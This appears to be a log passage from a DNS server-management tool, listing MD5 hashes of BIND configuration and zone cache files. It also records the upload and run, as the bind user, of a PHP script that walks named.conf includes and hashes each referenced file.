MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:40:25: Establishing a connection
2026-04-24 12:40:25: 

PUT: /tmp/pkp234297

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:40:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp234297; rm /tmp/pkp234297'

2026-04-24 12:40:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
